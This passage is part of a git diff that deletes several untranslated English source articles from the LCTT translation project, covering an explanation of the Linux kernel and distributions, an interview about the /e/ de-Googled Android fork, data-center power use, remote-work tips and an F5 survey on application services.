原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jhibbets -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/bulb-light-energy-power-idea.png?itok=zTEEmTZB (Light bulb) -[2]: https://schedule.sxsw.com/2017/events/PP96070 -[3]: https://www.mayoclinic.org/healthy-lifestyle/adult-health/in-depth/burnout/art-20046642 -[4]: https://burnoutindex.org/ -[5]: https://opensource.com/article/19/11/burnout-open-source-communities -[6]: https://www.redhat.com/sysadmin/tips-avoiding-burnout -[7]: https://www.socallinuxexpo.org/scale/18x/presentations/10-things-i-wish-i-knew-experiencing-burnout -[8]: https://www.socallinuxexpo.org/scale/18x/ diff --git a/sources/talk/20200306 What is Linux and Why There are 100-s of Linux Distributions.md b/sources/talk/20200306 What is Linux and Why There are 100-s of Linux Distributions.md deleted file mode 100644 index be6a45e211..0000000000 --- a/sources/talk/20200306 What is Linux and Why There are 100-s of Linux Distributions.md +++ /dev/null @@ -1,193 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What is Linux and Why There are 100’s of Linux Distributions?) -[#]: via: (https://itsfoss.com/what-is-linux/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -What is Linux and Why There are 100’s of Linux Distributions? -====== - -When you are just starting with Linux, it’s easy to get overwhelmed. - -You probably know only Windows and now you want to use Linux because you read that [Linux is better than Windows][1] as it is more secure and you don’t have to buy a license to use Linux. - -But then when you go about downloading and installing Linux, you learn that Linux is not a single entity. There are [Ubuntu][2], [Fedora][3], [Linux Mint][4], elementary and hundreds of such ‘Linux variants’. The trouble is that some of them look just like the other. - -If that’s the case, why are there multiple of those Linux operating systems? And then you also learn that Linux is just a kernel not an operating system. - -![Too Many Linux!][5] - -It gets messy. And you may feel like pulling out your hair. For a person who has a receding hairline, I would like you to keep your hair intact by explaining things in a way you could easily understand. - -I am going to take an analogy and explain why Linux is just a kernel, why there are hundreds of Linux and why, despite looking similar, they are different. - -The explanation here may not be considered good enough for an answer in an exam or interview but it should give you a better understanding of the topic. - -Apology in advance! - -My analogy may not be entirely correct from mechanical point of view as well. I am not knowledgeable about engines, cars and other related mechanical stuff. -But in my experience, I have noticed that this analogy helps people clearly understand the concept of Linux and operating system. -Also, I have used the term Linux OS instead of Linux distribution deliberately so that newcomers don’t start wondering about distribution. - -### Linux is just a kernel - -_**Linux is not an operating system, it’s just a kernel.**_ - -The statement is entirely true. But how do you understand it. If you look into books, you’ll find Linux kernel structure described like this: - -![Linux Kernel Structure][6] - -There is absolutely correct, however, let’s take a different approach. Think of operating systems as vehicles, any kind of vehicle be it motorbikes, cars or trucks. - -What is at the core of a vehicle? An engine. - -Think of kernel as the engine. It’s an essential part of the vehicle and you cannot use a vehicle without the engine. - -![The Operating System Analogy][7] - -But you cannot drive an engine, can you? You need a lot of other stuff to interact with the engine and drive the vehicle. You need wheels, steering, gears, clutch, brakes and more to drive a vehicle on top of that engine. - -Similarly, you cannot use a kernel on its own. You need lots of tool to interact with the kernel and use the operating system. These stuff could be shell, commands, graphical interface (also called desktop environments) etc. - -This makes sense, right? Now that you understand this analogy, let’s take it further so that you understand the rest of it. - -Windows and other operating systems have kernel too - -Kernel is not something exclusive to Linux. You may not have realized but Windows, macOS and other operating systems have a kernel underneath as well. -Microsoft Windows operating systems are based on [Windows NT kernel][8]. Apple’s macOS is based on the [XNU kernel][9]. - -### Think of operating systems as vehicles - -Think of Microsoft as an automobile company that makes a general purpose car (Windows operating system) that is hugely popular and dominates the car market. They use their own patented engine that no one else can use. But these ‘Microsoft cars’ do not offer scope of customization. You cannot modify the engine on your own. - -Now come to ‘Apple automobile’. They offer shiny looking, luxury cars at an expensive price. If you got a problem, they have a premium support system where they might just replace the car. - -Now comes Linux. Remember, Linux is just an engine (kernel). But this ‘Linux engine’ is not patented and thus anyone is free to modify and build cars (desktop operating system), bikes (small embed system in your toys, tvs etc), trucks (servers) or jet-planes ([supercomputers][10]) on top of it. In real world, no such engine exists but accept it for the sake of this analogy. - -![][11] - - * kernel = engine - * Linux kernel = specific type of engine - * desktop operating systems = cars - * server operating systems = heavy trucks - * embed systems = motor-bikes - * desktop environment = body of the vehicle along with interiors (dashboard and all) - * themes and icons = paint job, rim job and other customization - * applications = accessories you put for specific purpose (like music system) - - - -### Why there are so many Linux OS/distributions? Why some look similar? - -Why there are so many cars? Because there are several vehicle manufacturers using the ‘Linux engine’ and each of them have so many cars of different type and for different purposes. - -Since ‘Linux engine’ is free to use and modify, anyone can use it to build a vehicle on top of it. - -This is why Ubuntu, Debian, Fedora, SUSE, [Manjaro][12] and many other **Linux-based operating systems (also called Linux distributions or Linux distros)** exist. - -You might also have noticed that these Linux operating systems offer different variants but they look similar. I mean look at Fedora’s default GNOME version and Debian’s GNOME version. They do look the same, don’t they? - -![Fedora GNOME vs Debian GNOME: Virtually No Visual Difference][13] - -The component that gives the look and feel in a Linux OS is called [desktop environment][14]. In our analogy here, you can think of it as a combination of outer body and matching interiors. This is what provides the look and feel to your vehicle, does it not? - -It’s from the exterior that you can identify the cars into category of sedan, SUV, hatchback, station wagon, convertible, minivan, van, compact car, 4×4 etc. - -But these ‘type of cars’ are not exclusive to a single automobile company. Ford offers SUV, compact cars, vans etc and so do other companies like General Motors, Toyota. - -![Vehicles of same type look similar even if they are from different automobile companies][15] - -Similarly, distributions (Linux OSes) like Fedora, Ubuntu, Debian, Manjaro etc also offer different variants in the form of GNOME, KDE, Cinnamon, MATE and other [desktop environments][16]. - -Ford’s SUV may look similar to Toyota’s or Renault’s SUV. Fedora’s GNOME version may look similar to Manjaro or Debian’s GNOME version. - -#### Some type of cars consume more fuel, some desktop environments need more RAM - -You probably understand the ‘usefulness’ of different types of cars. Compact cars are good for driving in the cities, vans are good for long trip with family, 4×4 are good for adventures in jungles and other rough terrain. A SUV may look good and feel comfortable for sitting but it consumes more fuel than a compact car that might not be comfortable to sit in. - -Similarly, desktop environments (GNOME, MATE, KDE, Xfce etc) also serve some purpose other than just providing the looks to your Linux operating system. - -GNOME gives a modern looking desktop but it consumes more RAM and thus require that your computer has more than 4 GB of RAM. Xfce on the other hand may look old/vintage but it can run on systems with 1 GB of RAM. - -#### Difference between getting desktop environment from distribution and installing on your own - -As you start using Linux, you’ll also come across suggestions that you can easily install other desktop environments on your current system. - -Remember that Linux is a free world. You are free to modify the engine, customize the looks on your own, if you have the knowledge/experience or if you are an enthusiastic learner. - -Think of it as customizing cars. You may modify a Hundai i20 to look like Suzuki Swift Dzire. But it might not be the same as using a Swift Dzire. - -When you are inside the i20 modified to look like Swiftz Dzire, you’ll find that it may not have the same experience from the inside. Dashboard is different, seats are different. You may also notice that the exterior doesn’t fit the same on i20’s body. - -The same goes for switching desktop environments. You will find that you don’t have the same set of apps in Ubuntu that you should be getting in Mint Cinnamon. Few apps will look out of place. Not to mention that you may find a few things broken, such as network manager indicator missing etc. - -Of course, you can put time, effort and skills to make Hundai i20 look as much like Swift Dzire as possible but you may feel like getting Suzuki Swift Dzire is a better idea in the first place. - -This is the reason why installing Ubuntu MATE is better than installing Ubuntu (GNOME version) and then [installing MATE desktop][17] on it. - -### Linux operating systems also differ in the way they handle applications - -Another major criteria on which the Linux operating systems differ from each other is the package management. - -Package management is basically how you get new software and updates in your systems. It’s up to your Linux distribution/OS to provide the security and maintenance updates. Your Linux OS also provides the means of installing new software on your system. - -Some Linux OS provides all the new software version immediately after their release while some take time to test them for your own good. Some Linux OS (like Ubuntu) provides easier way of installing a new software while you may find it complicated in some other Linux OS (like [Gentoo][18]). - -Keeping the line of our analogy, consider installing software as adding accessories to your vehicle. - -Suppose you have to install a music system in your car. You may have two options here. Your car is designed in such a way that you just insert the music player, you hear the click sound and you know it’s installed. The second option could be to get a screwdriver and then fix the music player on screws. - -Most people would prefer the hassle-free click lock installing system. Some people might take matter (and screwdriver) into their own hands. - -If an automobile company provides scope for installing lots of accessories in click-lock fashion in their cars, they will be preferred, won’t they? - -This is why Linux distributions like Ubuntu have a more users because they have a huge collection of software that can be easily installed in matter of clicks. - -### Conclusion - -Before I conclude this article, I’ll also like to talk about support that plays a significant role in choosing a Linux OS. For your car, you would like to have its official service center or other garages that service the automobile brand you own, don’t you? If the automobile company is popular, naturally, it will have more and more garages providing services. - -The same goes for Linux as well. For a popular Linux OS like Ubuntu, you have some official forums to seek support and a good number of websites and forums providing troubleshooting tips to fix your problem. - -Again, I know this is not a perfect analogy but this helps understand the things slightly better. - -If you are absolutely new to Linux, did this article made things clear for you or you are more confused than before? - -If you already know Linux, how would you explain Linux to someone from non-technical background? - -Your suggestions and feedback is welcome. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/what-is-linux/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/linux-better-than-windows/ -[2]: https://ubuntu.com/ -[3]: https://getfedora.org/ -[4]: https://linuxmint.com/ -[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/03/too-many-linux-choices.png?ssl=1 -[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/03/Linux_Kernel_structure.png?ssl=1 -[7]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/03/operating_system_analogy.png?ssl=1 -[8]: https://en.wikipedia.org/wiki/Architecture_of_Windows_NT -[9]: https://en.wikipedia.org/wiki/XNU -[10]: https://itsfoss.com/linux-runs-top-supercomputers/ -[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/03/linux-kernel-as-engine.png?ssl=1 -[12]: https://manjaro.org/ -[13]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/03/fedora-gnome-vs-debian-gnome.jpg?ssl=1 -[14]: https://itsfoss.com/glossary/desktop-environment/ -[15]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/03/linux_suv_analogy.jpg?ssl=1 -[16]: https://itsfoss.com/best-linux-desktop-environments/ -[17]: https://itsfoss.com/install-mate-desktop-ubuntu/ -[18]: https://www.gentoo.org/ diff --git a/sources/talk/20200308 The De-Googled Android Fork is Making Good Progress.md b/sources/talk/20200308 The De-Googled Android Fork is Making Good Progress.md deleted file mode 100644 index e5d1838cd3..0000000000 --- a/sources/talk/20200308 The De-Googled Android Fork is Making Good Progress.md +++ /dev/null @@ -1,115 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The De-Googled Android Fork is Making Good Progress) -[#]: via: (https://itsfoss.com/gael-duval-interview/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -The De-Googled Android Fork is Making Good Progress -====== - -A couple years ago, we covered the [Eelo project][1]. If you remember, the Eelo project was started by [Gael Duval][2] who once created Mandrake Linux. The goal of the Eelo project was to remove all Google services from Android to give you an [alternate mobile operating system][3] that doesn’t track you and invade your privacy. - -A lot has happened to Eelo since then. It’s not called Eelo anymore, now it’s called /e/. So, what’s happening with this project? We talked to Gael Duval himself. Here’s what he shared with us. - -![][4] - -_**Why did you create this Eelo or /e/ project in the first place?**_ - -**Gael:** In 2017, I realized that using Android and iPhone, Google and many mobile apps was not compatible with my personal privacy. - -A later study by a US University confirmed this: using an iPhone or and Android phone sends between 6 to 12 MB of personal data to Google servers, daily! And this doesn’t count mobile apps. - -So I looked for reasonable alternatives to iPhone and Android phones but didn’t find any. Either I found options for hobbyists, like Ubuntu Touch, that were not compatible with existing apps and not fully unGoogled either. Or there were alternative ROMs with all the Google fat inside, and no associated basic online services that could be used without tweaking the system. - -Therefore, an idea came to mind: why not fork Android, remove all the Google features, even low level, such as connectivity check, DNS…, replace default apps with more virtuous apps, add basic online services, and integrate all this into a consistent form that could be used by Mum and Dad and any people without tech or expert knowledge? - -_**How is it any different from other custom Android ROMs?**_ - -**Gael:** It doesn’t send a bit of data to Google, and is and will be more and more privacy-focused. - -Low-level: we remove any Android feature that sends data to Google servers. Even the connectivity check when you start the smartphone! To my knowledge, there is not any other Android ROM that does this at the moment. We change default DNS settings and offer users an option to set the DNS of their choice. We change NTP (automatic time configuration) settings to the default NTP servers because there is no reason to use Google NTP servers actually. Then we remove Google services, and we replace with a software layout called microG that can still receive push notifications and have geolocation data for apps (using Mozilla geolocation service). - -Then we change the default apps by non-Google apps, including the maps applications, mail etc., most are open source applications and I can say that there is 99% probability that all will be open source before the end of this year. - -Then we add our own Android application installer, with close to 80 000 available applications at the moment. - -We provide a different web browser, which is a fork of Chromium, were all features that data to Google are removed, and were the default search engine is not Google… - -And we operate online services: - - * search, using a meta-search system that we have improve for a better user experience - * online drive with encrypted data, calendar etc. using a modified version of NextCloud - * mail… - - - -And for we provide a unique identifier that can be used to access all those services, either on the web or from the /e/ OS system, by login once. Then you can sync all your data, calendar, email etc. between your smartphone and your personal /e/ cloud (it can also be self-hosted). -The purpose of the project is to provide a normal, ready to use, and attractive “digital life” to users, without sending all your personal data to Google. - -_**If it is completely ‘ungoogled’, how do users install new apps? Do you have your own app store? If yes, how can we trust that these apps don’t spy on user data?**_ - -**Gael:** Yes – we have our own application installer, with about 80 000 applications. And we analyse each application to unveil the number of trackers, and we display this information to our users, for each application. We are also adding Progressive Web Apps soon to this application installer. - -/e/ OS is about freedom of choice. We want the core system to be better, and then offer as many possible options to users, by informing them as much as possible. In short: they can still any application they need. Next step will be to offer a feature to actually block trackers used in applications. - -_**What is the target user base for /e/? Can an average Joey use it without much trouble?**_ - -![][5] - -**Gael:** We started with tech-savvy users, and we’re expanding the user base to people with less knowledge. At the moment, our typical user base is a mix of tech-savvy users, who can flash a smartphone with /e/ OS and people who are very concerned with Google and their data privacy but have very limited technical knowledge. For those people we have some smartphones pre-installed with /e/ OS for sale, on high-grade refurbished hardware. - -We are also announcing this week an “/e/ easy installer” that will make the flashing process much more easier, by pluging the smartphone to a PC and launching a dedicated application that will make most of the job. - -Then, the next step will be to expand our target users to a more global market, once we find the good partners. But clearly, there is a demand for something different than the Apple-Google worldwide market duopoly on the mobile. - -_**Initially the project was named eelo and it is called /e/ or [e foundation][6]. Personally, I find the name /e/ weird and it is not easily recognizable. Why did you change the project name?**_ - -**Gael:** We have been “attacked” by a company called “eelloo”. They considered that “eelo” would interfere with their business. They are in the HR business solutions, but registered their trademark in all the classes related to mobile OS, smartphones etc. This is silly and a shame, but we had no money to defend us strongly at the time. - -However the/e/ name will be abandonned for something else quite soon. - -_**It’s been a couple of years since the initial launch. How do you see the adoption of /e/?**_ - -**Gael:** We launched the first beta 18 months ago, and we have started to sell smartphones with /e/ a little more than 6 months ago. The adoption is growing a lot at the moment, we have to add terabytes of online storage regularly! - -Also with the /e/ installer arriving, and some official partnerships with some hardware mobile manufacturers in the pipe, this is going to accelerate a lot this year. - -However, this is not surprising, privacy concerns are rising both for individuals and corporations, and I think the rejection of Google is also trending. - -_**What are your future plans to grow /e/?**_ - -**Gael:** The growth is very natural. There is a strong community of users who realize how unique our approach is. These guys are contributing, supporting us and talking a lot about the project. - -With the easy installer coming along and strategic partnerships with hardware makers, this is going to accelerate a lot. - -Also, and this is more personal, I think that there is a natural connection between /e/ OS, and the Linux world. OK, /e/ OS is based on Android, but it’s still a Linux kernel and it’s the same spirit, it’s Open Source… So I’d really like to have more natural integration between my /e/ smartphone and my Linux desktop. There should be some nice features added in this spirit in the next versions of /e/ OS. - -_**What can /e/ users and our readers do to help e foundation?**_ - -**Gael:** Join us, talk about what we are doing, send your feedback, organize some meetups… Help improve the /e/ Wikipedia page which is very poor and doesn’t represent at all what we are actually doing. - -We also have a [permanent crowdfunding campaign where users can support the project financially][7], pay for the servers etc. And, in addition to giving back in term of open source product, we send cool stuff in return :) - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/gael-duval-interview/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/eelo-mobile-os/ -[2]: https://en.wikipedia.org/wiki/Ga%C3%ABl_Duval -[3]: https://itsfoss.com/open-source-alternatives-android/ -[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/03/e-os-interview.jpg?ssl=1 -[5]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/03/e-foundation-smartphones.jpg?resize=800%2C590&ssl=1 -[6]: https://e.foundation/ -[7]: https://e.foundation/donate/ diff --git a/sources/talk/20200311 Data-center power consumption holds steady.md b/sources/talk/20200311 Data-center power consumption holds steady.md deleted file mode 100644 index cfa6ba9fba..0000000000 --- a/sources/talk/20200311 Data-center power consumption holds steady.md +++ /dev/null @@ -1,60 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Data-center power consumption holds steady) -[#]: via: (https://www.networkworld.com/article/3531316/data-center-power-consumption-holds-steady.html) -[#]: author: (Andy Patrizio https://www.networkworld.com/author/Andy-Patrizio/) - -Data-center power consumption holds steady -====== -While computing capacity has exploded in recent years, power consumption is growing more slowly thanks to greater energy efficiency. -Google - -A predicted explosion in power consumption by data centers has not manifested thanks to advances in power efficiency and, ironically enough, the move to the cloud, according to a new report. - -The [study][1], published in the journal _Science_ last week, notes that while there has been an increase in global data-center energy consumption over the past decade, this growth is negligible compared with the rise of workloads and deployed hardware during that time. - -Data centers accounted for about 205 terawatt-hours of electricity usage in 2018, which is roughly 1% of all electricity consumption worldwide, according to the report. (That's well below the often-cited stat that data centers consume 2% of the world's electricity). The 205 terawatt-hours represent a 6% increase in total power consumption since 2010, but global data center compute instances rose by 550% over that same time period. - -**[ Now read: [What is quantum computing (and why enterprises should care)][2] ]** - -To drive that point home: Considerably more compute is being deployed, yet the amount of power consumed is holding steady. - -The paper cites a number of reasons for this. For starters, hardware power efficiency is vastly improved. The move to server virtualization has meant a six-fold increase in compute instances with only a 25% increase in server energy use. And a shift to faster and more energy-efficient port technologies has brought about a 10-fold increase in data center IP traffic with only a modest increase in the energy use of network devices. - -Even more interesting, the report claims the rise of and migration to hyperscalers has helped curtail power consumption.  - -Hyperscale data centers and cloud data centers are generally more energy efficient than company-owned data centers because there is greater incentive for energy efficiency. The less power Amazon, Microsoft, Google, etc., have to buy, the more their bottom line grows. And hyperscalers are big on cheap, renewable energy, such as hydro and wind. - -[][3] - -So if a company trades its own old, inefficient data center for AWS or Google Cloud, they're reducing the overall power draw of data centers as a whole. - -"Total power consumption held steady as computing output has risen because of improvement efficiency of both IT and infrastructure equipment, and a shift from corporate data centers to more efficient cloud data centers (especially hyper scale)," said Jonathan Koomey, a Stanford professor and one of the authors of the research, in an email to me. He has spent years researching data center power and is an authority on the subject. - -"As always, the IT equipment progresses most quickly. In this article, we show that the peak output efficiency of computing doubled every 2.6 years after 2000. This doesn’t include the reduced idle power factored into the changes for servers we document," he added. - -Koomey notes that there is additional room for efficiency improvements to cover the next doubling of computing output over the next few years but was reluctant to make projections out too far. "We avoid projecting the future of IT because it changes so fast, and we are skeptical of those who think they can project IT electricity use 10-15 years hence," he said. - -Join the Network World communities on [Facebook][4] and [LinkedIn][5] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3531316/data-center-power-consumption-holds-steady.html - -作者:[Andy Patrizio][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://science.sciencemag.org/content/367/6481/984 -[2]: https://www.networkworld.com/article/3275367/what-s-quantum-computing-and-why-enterprises-need-to-care.html -[3]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[4]: https://www.facebook.com/NetworkWorld/ -[5]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200311 Setting yourself up for success while working remotely.md b/sources/talk/20200311 Setting yourself up for success while working remotely.md deleted file mode 100644 index bbe6b3f513..0000000000 --- a/sources/talk/20200311 Setting yourself up for success while working remotely.md +++ /dev/null @@ -1,61 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Setting yourself up for success while working remotely) -[#]: via: (https://opensource.com/article/20/3/remote-work) -[#]: author: (Dawn Parzych https://opensource.com/users/dawnparzych) - -Setting yourself up for success while working remotely -====== -Whether you are new to working remotely or are a seasoned veteran, here -are tips to improve the experience. -![Woman sitting in front of her computer][1] - -Remote work is not easy. While there are perks to being remote, it is a mind-shift and takes some getting used to. Talk to anybody that works remotely, and they will likely tell you some of the biggest challenges of remote work are _**feeling disconnected**_ and _**a loss of regime**_. Here are my tips gathered from 10 years as a remote worker on how to set yourself and your team up to work remotely successfully. - -### Environment and regime - - 1. **"Commute" to and from work**. I'm not saying go to the extremes in this [_Audible commercial_][2], but I suggest leaving your home to go for a walk or a bike ride before you begin working. Do the same at the end of the day. I take my dog, Barley (pictured here), for a walk at the start and end of most days.![Here's my dog, Barley, who gets regular walks during my morning "commute"][3] - 2. **Get dressed.** Don't be tempted to work in your PJs, because this blurs the line between work and home. People sometimes say that being able to work in your pajamas is a perk of remote work, but studies show this isn't great advice. You don't need to put on a suit and tie, but do change out of your pajamas; otherwise, before you know it, you will have gone three days without changing your clothes. For more reasons why check out this article from [_Fast Company_][4]. - 3. **Eat lunch away from your desk**. This is good advice even if you aren't working remotely. - 4. **Stick to a schedule**. It's easy to start working as soon as you wake up and continue late into the evening. Set a start time and an end time for your day and stick to it. When I stop work for the day, I try to close my office door. Configure your working hours in every app you use so others know when you are available. Don't use your work computer outside of working hours if you can. - 5. **Set up a dedicated work environment**, if possible. Try not to work from the kitchen table. This blurs the lines between home and work. My office (picture below) also has space for comfortable seating and desk seating to switch between the two. - 6. **Check-in with your team** or friends in the morning. Don't mistake this for a daily stand-up; this is more like saying _hi_ when you're getting coffee. - 7. **Sign-off at the end of the day**. This means both letting your team members know you are leaving and actually walking away from where you are working. Close the laptop. Turn off Slack notifications, etc. - 8. **Keep people posted** if you are leaving early or unavailable. It helps build trust. - 9. **Invest in a headset** if you will be doing a lot of calls. If there is more than one person in your household that is working remotely, they will thank you for this. It is no fun listening to somebody else's conference call. - 10. **Turn on your video** when on a video call to help you feel connected and stay engaged. When your video is disabled, it is easy to wander off and get distracted by Slack (or its [open source alternatives][5]), Twitter, or any other number of distractions. - 11. **Set up a weekly, casual remote chat**. At my company, we meet on Friday mornings via Zoom (or the open source alternative, [Jitsi][6]). This chat is open to remote and non-remote staff. It is an open call to talk about whatever is on our minds. Topics have ranged from music preferences to parenting challenges to what people are doing over the weekend. - 12. **Set-up chat-roulette **if one-on-one interaction is more your thing. There are applications on most chat platforms that randomly pairs two employees to chat and get to know one another. - 13. **Ask for help**. Chat with your colleagues if you're stuck, need encouragement, or need to vent. You are not alone. You are a member of a team. You can still grab a coffee or go for a walk with a teammate remotely. - - - -![Here’s my home office set up][7] - -Everybody is different. These tips work for me, I’d love to hear you share your advice below! - -Not all work-from-home gigs are created equal. There is a vast ocean between being a member of a... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/remote-work - -作者:[Dawn Parzych][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/dawnparzych -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_2.png?itok=JPlR5aCA (Woman sitting in front of her computer) -[2]: https://www.youtube.com/watch?v=oVCJhZhrJ04 -[3]: https://opensource.com/sites/default/files/resize/pictures/barleywalking_0-300x379.png (Here's my dog, Barley, who gets regular walks during my morning "commute") -[4]: https://www.fastcompany.com/3064295/what-happened-when-i-dressed-up-to-work-from-home-for-a-week -[5]: https://opensource.com/alternatives/slack -[6]: https://meet.jit.si/ -[7]: https://opensource.com/sites/default/files/pictures/6151f75e-bbeb-4e64-a5ca-0bbe4e981054.jpeg (Here’s my home office set up) diff --git a/sources/talk/20200312 Next wave of digital transformation requires better security, automation.md b/sources/talk/20200312 Next wave of digital transformation requires better security, automation.md deleted file mode 100644 index d99b38c7b8..0000000000 --- a/sources/talk/20200312 Next wave of digital transformation requires better security, automation.md +++ /dev/null @@ -1,92 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Next wave of digital transformation requires better security, automation) -[#]: via: (https://www.networkworld.com/article/3531448/next-wave-of-digital-transformation-requires-better-security-automation.html) -[#]: author: (Zeus Kerravala https://www.networkworld.com/author/Zeus-Kerravala/) - -Next wave of digital transformation requires better security, automation -====== -F5 report highlights the challenges of digital initiatives, including a struggle to secure multi-cloud environments and a lack of IT skills required to extend automation efforts. -Loops7 / Getty Images - -Digital transformation is a top-of-mind priority for CIOs who want innovative ways to deploy applications and run IT operations. In today's digital economy, companies that don't depend on applications to support their business are rare. On the contrary, most companies have some kind of digital transformation initiative in place, which is driving the adoption of cloud-native architectures and application services. - -A new report from application delivery vendor F5 Networks finds businesses are entering the second phase of digital transformation by automating more parts of their networks. Based on a survey of nearly 2,600 senior leaders globally—from various industries, company sizes, and roles—the [_2020 State of Application Services Report_][1] uncovered five key trends shaping the application landscape. - -**READ MORE:** [Top 10 underused SD-WAN features][2] - -### 1\. Every company is undergoing a digital transformation - -Having conducted its annual survey for six years in a row, F5 consistently found IT optimization and business process optimization to be the top reported benefits for companies with digital transformation initiatives. At this point, most companies have mastered automation of individual tasks by digitizing IT and business processes—which the report classifies as phase one of digital transformation. - -Moving on to phase two, companies are shifting their focus to reducing complexity and supporting apps with a consistent set of services. External-facing apps make up a portion (45%) of an average company's portfolio and help generate revenue. Yet, the internal-facing ones—like productivity and operational apps—are vital to digitizing business processes. - -Modern, microservices/cloud-native apps now make up approximately 15% of a company's portfolio, compared to 11% for mainframe-hosted apps. This mix of new and older generation apps indicates that businesses are dealing with a diverse app portfolio. As more businesses adopt an application-centric mindset, they can start managing their app portfolio like a business asset. - -### 2\. Organizations struggle to secure multi-cloud environments - -Every company has different needs, which is why most choose the best cloud for their applications on a case-by-case basis, the report finds. Businesses are adopting cloud platforms at a high rate, with 27% planning to have more than half of their applications in the cloud by the end of 2020. - -For 87% of companies, multi-cloud is the preferred choice due to its flexibility. Multi-cloud typically includes a mix of infrastructure-as-a-service (IaaS) environments, so a company can choose to deploy multiple software-as-a-service (SaaS) or platform-as-a-service (PaaS) cloud services. - -[][3] - -However, multi-cloud environments pose challenges for businesses when it comes to maintaining security, policy, and compliance, according to the report's respondents. Companies are dealing with applications that reach hundreds to millions of end users—each one with its own security risk. Meanwhile, many don't have the expertise to protect the apps. - -A whopping 71% of companies surveyed by F5 reported a skills gap in security. Only 45% of companies are confident that they're able to secure apps in the public cloud, while 62% think they can protect apps in an on-premises data center. The most confident companies have consistency across multiple architectures and multiple infrastructures, ensuring security and performance of all apps in their portfolio. - -### 3\. Automation key to boosting efficiency - -Manual processes may have been the norm for legacy networks, but modern networks require automation. That's why most companies (73%) have embraced it. - -In this year's report, F5 observed more consistent use of automation in the deployment pipeline than in previous years. Automation of application infrastructure, network, application services, and security is nearly equal across the board at approximately 40% for survey respondents. (See also: [Enterprises being won over by speed, effectiveness of network automation][4]) - -Interestingly, more companies are choosing open source and continuous integration/continuous delivery (CI/CD) tools for automation over proprietary vendor solutions. The report found there is a need for open ecosystems with the increasing use of CI/CD tools, as businesses search for ways to address problems that slow down automation. Companies said their biggest struggles are with skill gaps in enterprise IT, integrating toolsets across vendors and devices, and the cost of new tools. - -### 4\. Security app services are most widely deployed - -Modern networks require application services—a pool of services necessary to deploy, run, and secure apps across on-premises or multi-cloud environments. Today, 69% of companies are using 10 or more application services, such as ingress control and service discovery. Ingress control is a relatively new application service that has become essential to companies with high API call volumes. It's one of many examples of the growing adoption of microservices-based apps. - -Security services remain as the most widely deployed, with these in particular dominating the top five: SSL VPN and firewall services (81%); IPS/IDS, antivirus, and spam mitigation (77%); load balancing and DNS (68%); web application firewalls (WAF) and DDoS protection (each at 67%). - -Over the next 12 months, the evolution of cloud and modern app architectures will continue to shape application services. At the top of the list (41%) is software-defined wide-area networking ([SD-WAN][5]). SD-WAN enables software-based provisioning from the cloud to meet modern application demands. Early SD-WAN deployments focused on replacing costly multi-protocol label switching (MPLS), but there is now greater emphasis on security as a core requirement for SD-WAN. - -### 5\. DevOps picks up responsibility for app services - -Although IT operations is still primarily responsible for deploying app services, the report revealed a shift taking place from single-function to ops-oriented team structures—such SecOps and DevOps. - -The responsibility for securing, optimizing, and managing apps by DevOps teams is growing, fueled by cloud and container-native applications. 